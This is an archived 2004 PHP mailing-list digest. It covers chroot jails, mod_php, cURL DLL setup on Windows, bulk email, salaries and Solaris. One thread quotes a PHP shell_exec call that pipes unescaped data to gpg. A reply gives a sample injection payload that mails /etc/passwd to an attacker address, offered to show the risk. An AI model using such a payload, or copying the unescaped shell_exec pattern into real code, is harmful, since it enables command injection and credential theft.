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 ------_=_NextPart_001_01C44A37.E2B0DC53-- >From hans not junk at nyphp.com Fri Jun 4 09:36:21 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 64DEEA85F3 for ; Fri, 4 Jun 2004 09:36:21 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Pair Network's "security" model - could itbe thisbad? Date: Fri, 4 Jun 2004 06:36:19 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512C86 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Pair Network's "security" model - could itbe thisbad? Thread-Index: AcRI5Zu1837dooYzSuSqO5O/Bqg1NwBUqR2w From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jun 2004 13:36:21 -0000 > >>Based on the email from Mark Armendariz, it sounds like this host=20 > >>might use a chroot jail for each account, and each jail has its own=20 > >>Apache. > >> >=20 > I'm intrigued by this... doesn't it mean that each account=20 > has it's own IP address? If we're talking FreeBSD's jail() then yes. But I have a feeling that we're talking chroot(), which isn't really a jail - at least to a BSDer or anyone else outside Linux. A chroot() (man 2 chroot) just changes the root directory of the process. A jail() (man 2 jail on FreeBSD) however is a call into special kernel hooks that blocks and segragates processes from one another, including networking, memory (to some extent), etc. Much more sophisticated than a chroot() in Linux land. > Or is there some sort of transparent proxy that listens on port 80 and > forwards each request to the appropriate server (which is listening on > some high-numbered port)? Ehh... that's crazy talk :) H >From hans not junk at nyphp.com Fri Jun 4 09:44:44 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 367EBA865D for ; Fri, 4 Jun 2004 09:44:44 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] "mod PHP" vs. PHP Date: Fri, 4 Jun 2004 06:44:41 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512C95 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] "mod PHP" vs. PHP Thread-Index: AcRIqfBCeY1TeNimRNOOG+DD+4jhwgBj8v+A From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jun 2004 13:44:44 -0000 > I have a somewhat stupid question: what's the difference=20 > between "mod PHP" and PHP? mod_php is what mod_perl folks call PHP, realizing that their hosting service will make more money if they offer PHP instead of Perl :) H >From hans not junk at nyphp.com Fri Jun 4 09:50:41 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 7F585A85F3 for ; Fri, 4 Jun 2004 09:50:41 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Open Source Bandwidth Management Date: Fri, 4 Jun 2004 06:50:38 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87025CEEE4 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Open Source Bandwidth Management Thread-Index: AcRJoJWRzXYW5wQTTKSoNFf8wFM35AAmat2A From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jun 2004 13:50:42 -0000 > no i work for a hosting company and we are looking for an=20 > open source bandwidth management solution for our networks to=20 > limit all aspects of traffic http://www.openbsd.org/faq/pf/ H From patrick.fee at baesystems.com Fri Jun 4 09:59:11 2004 From: patrick.fee at baesystems.com (Fee, Patrick J (US SSA)) Date: Fri, 4 Jun 2004 09:59:11 -0400 Subject: [nycphp-talk] What does a 40k(ish) salary get me? Message-ID: <728813C3358BF04CB3A3DA2341D44A71CBCA80@e2k11.na.baesystems.com> Yes Phil.... welcome to my outsourcing nightmare. Patrick Fee Patrick.Fee at baesystems.com 240-401-6820 >> On Wed, 2004-06-02 at 17:18, Ophir Prusak wrote: >> >>> and I'm wondering - can I really get a "PHP Rock Star" with "thorough >>> knowledge and experience in PHP, MySQL, and JavaScript" and "3+ years >>> experience" for 40k? > 40K will get you a "PHP Rock Star"... in India or Eastern Europe. Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk >From hans not junk at nyphp.com Fri Jun 4 10:01:09 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 6AAC8A85F3 for ; Fri, 4 Jun 2004 10:01:09 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] sending email from PHP Date: Fri, 4 Jun 2004 07:01:06 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87025CEEFA at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] sending email from PHP Thread-Index: AcRJn0bDWvXJiHKXTi2L5E6rH3qXLQAnMcTA From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jun 2004 14:01:09 -0000 > I'm interested in how sites are able to send out millions of > emails a day... there must be a simple way that I'm overlooking. There are flags (which I've forgotten) that force sendmail to queue mail only. Searching for QueueOnly or something might help. But as is the case with most things sendmail, it doesn't work so well all the time. Solutions tend on using a different MTA (postfix and qmail queue by default, and let the calling process proceed almost instantly). That said, the real way to do it if you have tons of emails to send is to fork() a process out. This then continues to talk to your MTA, while the web page returns immediately. H From drydell at att.net Fri Jun 4 11:08:19 2004 From: drydell at att.net (drydell at att.net) Date: Fri, 04 Jun 2004 15:08:19 +0000 Subject: [nycphp-talk] Digital Signatures in PHP Message-ID: <060420041508.3212.40C090630001B4D100000C8C216037631604040A0B979D0B@att.net> yes, there would be that danger... in my case, $data is always system generated... -------------- Original message from Rolan Yang : -------------- > That is great news! Hey, is there any danger in doing echo's of $data > with shell_exec? > I'm wondering, if someone injected $data with something like say.. > "This is is the message I want encrypted.'; /bin/cat /etc/passwd | > /bin/mail evilhaxor at hotmail.com; echo 'misc info" > would that all get encrypted entirely or would it run the shell code > sandwiched in the middle? > > ~Rolan > > David Rydell wrote: > > >>>Yea, sometimes I wish you could just pipe data to gpg and have it > >>> > >>> > >spit... > > > >You can pipe data to gpg directly... this snippet is from my email class, > >which does exactly that: > > > >$enc = chunk_split(base64_encode(shell_exec("echo '$data' | > >/usr/bin/gpg --homedir /user/.gnupg --compress-algo 1 --cipher-algo > >3des -e -r $recipient 2>> /user/cgi-logs/gpg.log"))); > > > >(note the compression/cipher is completely compatible with pgp) > > > >I got the technique from browsing their website http://www.gnupg.org/ > > > > > >_______________________________________________ > >talk mailing list > >talk at lists.nyphp.org > >http://lists.nyphp.org/mailman/listinfo/talk > > > > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -------------- next part -------------- An HTML attachment was scrubbed... URL: From jcrawford at codebowl.com Fri Jun 4 11:35:24 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Fri, 4 Jun 2004 11:35:24 -0400 Subject: [nycphp-talk] What does a 40k(ish) salary get me? References: <728813C3358BF04CB3A3DA2341D44A71CBCA80@e2k11.na.baesystems.com> Message-ID: <002901c44a49$8efc1650$e18a3118@codebowl> or here in VT i'd program for 40k a year, that's quite a bit for the economy around here ;) my rent including everything except phone is $1000/mo. Joe Crawford Jr. ----- Original Message ----- From: "Fee, Patrick J (US SSA)" To: "NYPHP Talk" Sent: Friday, June 04, 2004 9:59 AM Subject: RE: [nycphp-talk] What does a 40k(ish) salary get me? Yes Phil.... welcome to my outsourcing nightmare. Patrick Fee Patrick.Fee at baesystems.com 240-401-6820 >> On Wed, 2004-06-02 at 17:18, Ophir Prusak wrote: >> >>> and I'm wondering - can I really get a "PHP Rock Star" with "thorough >>> knowledge and experience in PHP, MySQL, and JavaScript" and "3+ years >>> experience" for 40k? > 40K will get you a "PHP Rock Star"... in India or Eastern Europe. Phil -- ---------------------------------------------------------------------------- ----- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From adam at trachtenberg.com Fri Jun 4 12:20:17 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Fri, 4 Jun 2004 12:20:17 -0400 (EDT) Subject: [nycphp-talk] PHP + Windows + cURL Message-ID: I'm having a problem enabling the cURL extension on PHP under Windows XP. I'm using the Apache module version with the latest version of Apache 1.3.x. I downloaded the pre-built binary package and can successfully install PHP, but when I try to enable cURL, I run into errors. There seems to be a dependency on ssleay.dll, which is bundled, but that still doesn't work. >From Googling around, I see some mentions of another dependence on msvcr70.dll. I searched the machine and that DLL is located on my machine, along with msvcr71.dll. Do I need to place them anywhere special? Do I need another DLL? As you might guess, my Windows experience is limited, but I need to use Windows at my new job. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From tgales at tgaconnect.com Fri Jun 4 12:32:38 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 4 Jun 2004 12:32:38 -0400 Subject: [nycphp-talk] PHP + Windows + cURL In-Reply-To: Message-ID: <001001c44a51$8cee7260$e98d3818@oberon1> Adam Trachtenberg writes: > I'm having a problem enabling the cURL extension on PHP under > Windows XP. I'm using the Apache module version with the > latest version of Apache 1.3.x. ... > There seems to be a dependency on > ssleay.dll, which is bundled, but that still doesn't work ssleay.dll is dependent on libeay32.dll have you got a libeay32.dll in your 'extensions' directory? T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jayeshsh at ceruleansky.com Fri Jun 4 12:32:53 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Fri, 04 Jun 2004 12:32:53 -0400 Subject: [nycphp-talk] "mod PHP" vs. PHP Message-ID: <40C0A435.8020403@ceruleansky.com> Hello all, Thanks to the two Chris's and Hans and the others for the excellent responses on mod_PHP vs PHP. I am going to set up a PHP knowledge base on one of my sites soon, and I was hoping to incorporate such answers in there ... Best Regards, - Jay -- Cerulean Sky Creations, LLC http://www.ceruleansky.com From jonbaer at jonbaer.net Fri Jun 4 12:26:59 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 4 Jun 2004 12:26:59 -0400 Subject: [nycphp-talk] PHP/Bluetooth/Serial In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702512C7E@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702512C7E@ehost011-1.exch011.intermedia.net> Message-ID: <20040604162659.GA15501@jonbaer.net> *definitley a big help* thank you hanz i just recompiled and tested w/ a few functions and it worked (for phone info anyways) ... if i make anything interesting off it ill pass it back :-) btw i had it bookmarked and lost it and cant find it off zend but there was a page with php4 v. php5 changes for module structure, any idea where that is? can a few DEFINES make a module run 4+5? - jon (btw - changed from mozilla to mutt for email if it shows up screwy please dont yell :-) On Fri, Jun 04, 2004 at 06:28:53AM -0700, Hans Zaunere wrote: > Luckily, being the forward-thinkers that they are, PHP developers made C > extensions easy. I did one that talked to a serial card reader. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tgales at tgaconnect.com Fri Jun 4 12:58:38 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 4 Jun 2004 12:58:38 -0400 Subject: [nycphp-talk] "mod PHP" vs. PHP In-Reply-To: <40C0A435.8020403@ceruleansky.com> Message-ID: <001a01c44a55$2ef350f0$e98d3818@oberon1> Jayesh Sheth writes: > > Thanks to the two Chris's and Hans and the others for the excellent > responses on mod_PHP vs PHP. I am going to set up a PHP > knowledge base > on one of my sites soon, and I was hoping to incorporate such > answers in > there ... NYPHP has a knowledge base with background information. It's called 'Phundamentals'. ( I urge you to look it over -- it's at: http://phundamentals.nyphp.org/ ) In the future, you might consider submitting one of your articles as a Phundamental. To find out how to submit a proposal in general visit: http://clew.nyphp.org/clew/operations/newproposals (Hans Kaspersetz can help you with proposal submissions) Or if you want to get more involved with Phundamentals (or other projects in the education department at NYPHP) drop a line to: Michael Southwell VP, Education Department NYPHP michael.southwell at nyphp.org T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From adam at trachtenberg.com Fri Jun 4 13:05:24 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Fri, 4 Jun 2004 13:05:24 -0400 (EDT) Subject: [nycphp-talk] PHP + Windows + cURL In-Reply-To: <001001c44a51$8cee7260$e98d3818@oberon1> References: <001001c44a51$8cee7260$e98d3818@oberon1> Message-ID: On Fri, 4 Jun 2004, Tim Gales wrote: > ssleay.dll is dependent on libeay32.dll > > have you got a libeay32.dll > in your 'extensions' directory? Yes. I set my extensions dir to c:/php/ and moved php_curl.dll from ext/ to the root directory. Inside c:/php/ I have both libeay32.dll and ssleay32.dll. Now it says it can't find ssleay32.dll. Do I need to add c:/php/ to some form of Windows library search path? -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From jonbaer at jonbaer.net Fri Jun 4 12:50:57 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 4 Jun 2004 12:50:57 -0400 Subject: [nycphp-talk] PHP + Windows + cURL In-Reply-To: References: <001001c44a51$8cee7260$e98d3818@oberon1> Message-ID: <20040604165057.GB15624@jonbaer.net> Normally if you drop these into Windows/System32 you will be ok. This is considered the /usr/lib of Windows ... The only problem with some apps is if you have multiple copies laying around ... (like cygwin will complain, etc) - which by the way Id recommend installing if you can just to get around better. If you right click Computer somewhere you can find a place to set Environment variables like PATH, but normally if you just drop to System32 all goes well. - Jon On Fri, Jun 04, 2004 at 01:05:24PM -0400, Adam Maccabee Trachtenberg wrote: > Now it says it can't find ssleay32.dll. Do I need to add c:/php/ to > some form of Windows library search path? > > -adam -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tgales at tgaconnect.com Fri Jun 4 13:17:17 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 4 Jun 2004 13:17:17 -0400 Subject: [nycphp-talk] PHP + Windows + cURL In-Reply-To: Message-ID: <002401c44a57$c9d07ab0$e98d3818@oberon1> Adam Trachtenberg writes: > On Fri, 4 Jun 2004, Tim Gales wrote: > > > ssleay.dll is dependent on libeay32.dll > > > > have you got a libeay32.dll > > in your 'extensions' directory? > > Yes. I set my extensions dir to c:/php/ and moved > php_curl.dll from ext/ to the root directory. Inside c:/php/ > I have both libeay32.dll and ssleay32.dll. > > Now it says it can't find ssleay32.dll. Do I need to add > c:/php/ to some form of Windows library search path? I would advise you to keep libeay32.dll in the extension directory (I think for you that would be: c:\php\ext ) That is, have both ssleay32.dll and libeay32.dll in the extension directory. Then set you (system wide) path to include both c:\php (where you execute php from) and c:\php\ext (where your extensions are) That should work -- T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From adam at trachtenberg.com Fri Jun 4 13:20:32 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Fri, 4 Jun 2004 13:20:32 -0400 (EDT) Subject: [nycphp-talk] PHP + Windows + cURL In-Reply-To: <002401c44a57$c9d07ab0$e98d3818@oberon1> References: <002401c44a57$c9d07ab0$e98d3818@oberon1> Message-ID: On Fri, 4 Jun 2004, Tim Gales wrote: > I would advise you to keep libeay32.dll in the > extension directory (I think for you that would be: > c:\php\ext ) > > That is, have both ssleay32.dll and libeay32.dll in > the extension directory. > > Then set you (system wide) path to include both > c:\php (where you execute php from) and > c:\php\ext (where your extensions are) Thanks. I got things working (I think) using Jon's advice, but what I will probably end up doing long term is installing VMWare and Linux. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From danielc at analysisandsolutions.com Fri Jun 4 13:21:27 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Fri, 4 Jun 2004 13:21:27 -0400 Subject: [nycphp-talk] PHP + Windows + cURL In-Reply-To: References: <001001c44a51$8cee7260$e98d3818@oberon1> Message-ID: <20040604172126.GA4189@panix.com> Hi Adam: On Fri, Jun 04, 2004 at 01:05:24PM -0400, Adam Maccabee Trachtenberg wrote: > > Yes. I set my extensions dir to c:/php/ and moved php_curl.dll from > ext/ to the root directory. Inside c:/php/ I have both libeay32.dll > and ssleay32.dll. > > Now it says it can't find ssleay32.dll. Do I need to add c:/php/ to > some form of Windows library search path? Quit making things hard on yourself. Add the dlls' dir to the path environment variable. That way you don't have to move anything anywhere. I don't know why PHP's instructions continually tell users to start moving DLL's all over the place. It's a complete waste of time and a gigantic hastle in the long run when upgrading. Anyway, here's my path: C:\PROGRA~1\php;C:\PROGRA~1\php\dlls My php.ini: extension_dir = "c:\progra~1\php\extensions" And here are the file locations, which I've never touched: c:\progra~1\php\... extensions\php_curl.dll dlls\libeay32.dll dlls\ssleay32.dll --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From adam at trachtenberg.com Fri Jun 4 13:31:03 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Fri, 4 Jun 2004 13:31:03 -0400 (EDT) Subject: [nycphp-talk] PHP + Windows + cURL In-Reply-To: <20040604172126.GA4189@panix.com> References: <001001c44a51$8cee7260$e98d3818@oberon1> <20040604172126.GA4189@panix.com> Message-ID: On Fri, 4 Jun 2004, Daniel Convissor wrote: > Quit making things hard on yourself. Add the dlls' dir to the path > environment variable. That way you don't have to move anything anywhere. > I don't know why PHP's instructions continually tell users to start moving > DLL's all over the place. It's a complete waste of time and a gigantic > hastle in the long run when upgrading. > > Anyway, here's my path: > C:\PROGRA~1\php;C:\PROGRA~1\php\dlls Ah yes. That's what I would have done normally, but I didn't know if such a setting existed on Windows and how I would go about setting it. Anyway, I just Googled and, well, it's easy. You're right; the instructions should be changed. Thanks for all the help. -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From tgales at tgaconnect.com Fri Jun 4 16:47:23 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 4 Jun 2004 16:47:23 -0400 Subject: [nycphp-talk] OT: Solaris is going open source Message-ID: <002701c44a75$242c0430$e98d3818@oberon1> "Sun Microsystems Inc. this week formally committed itself to releasing Solaris operating system code as open source, but no final decisions have been made on the specific details..." eWEEK By Peter Galli June 3, 2004 http://www.eweek.com/article2/0,1759,1606766,00.asp?kc=ewnws060404dtx1k010 0599 T. 